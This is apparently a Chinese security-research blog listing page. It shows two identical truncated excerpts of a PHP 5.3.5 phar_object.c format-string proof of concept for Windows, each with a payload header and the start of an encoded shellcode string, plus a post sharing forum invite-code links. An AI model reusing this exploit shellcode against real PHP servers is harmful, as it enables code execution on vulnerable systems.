SECURITY RESEARCH / ENGINEERING

文章与研究

在证据与实验中理解复杂系统。

PHP 5.35 "phar/phar_object.c"格式化字符串bug P

请去http://svn.php.net/viewvc?view=revision&revision=309221更新您的PHP版本 < ?php ////////////////////////// PHP 5.35 "phar/phar_object.c"格式化字符串bug POC(Win32) ///////////// TEST in (Win32) PHP/5.3.5 On WinXP sp3 (cn) ///////////// Payload windows/exec {CMD=calc, Encoder=x86/alphamixed} $shellcode = "". "\x89\xe0\xdb\xc1\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a". "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32". "......

阅读全文 →

PHP 5.35 "phar/phar_object.c"格式化字符串bug P

请去http://svn.php.net/viewvc?view=revision&revision=309221更新您的PHP版本 < ?php ////////////////////////// PHP 5.35 "phar/phar_object.c"格式化字符串bug POC(Win32) ///////////// TEST in (Win32) PHP/5.3.5 On WinXP sp3 (cn) ///////////// Payload windows/exec {CMD=calc, Encoder=x86/alphamixed} $shellcode = "". "\x89\xe0\xdb\xc1\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a". "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32". "......

阅读全文 →

ShaoBing Security Team (烧饼安全论坛邀请码10枚)

拿到邀请码的留个言说明那个邀请码被使用谢谢 http://www.sb-team.net/register.php?invitecode=64cdb2870bn5DVk9 http://www.sb-team.net/register.php?invitecode=65b083404aSQ3nq7 http://www.sb-team.net/register.php?invitecode=b1aafb4a4fNBclb3 http://www.sb-team.net/register.php?invitecode=bf8043b21fZ3WAa4 http://www.sb-team.net/register.php?invitecode=9e5f9c5b99lDU5jN http://www.sb-team.net/register.php?invitecode=8a192bb58czdfhx6 http://www.sb-team.net/register.php?invitecode=fd4465ddadpqJM4G http://www.sb-team.net/register.php?invitecode=c9aa0f921fDL1T36 http://www.sb-team.net/register.php?invitecode=24a6f17c36GpfnMy http://www.sb-team.net/register.php?invitecode=479e5f5872ZoeoIZ 评论区: cmatrix: http://www.sb-team.net/register.php......

阅读全文 →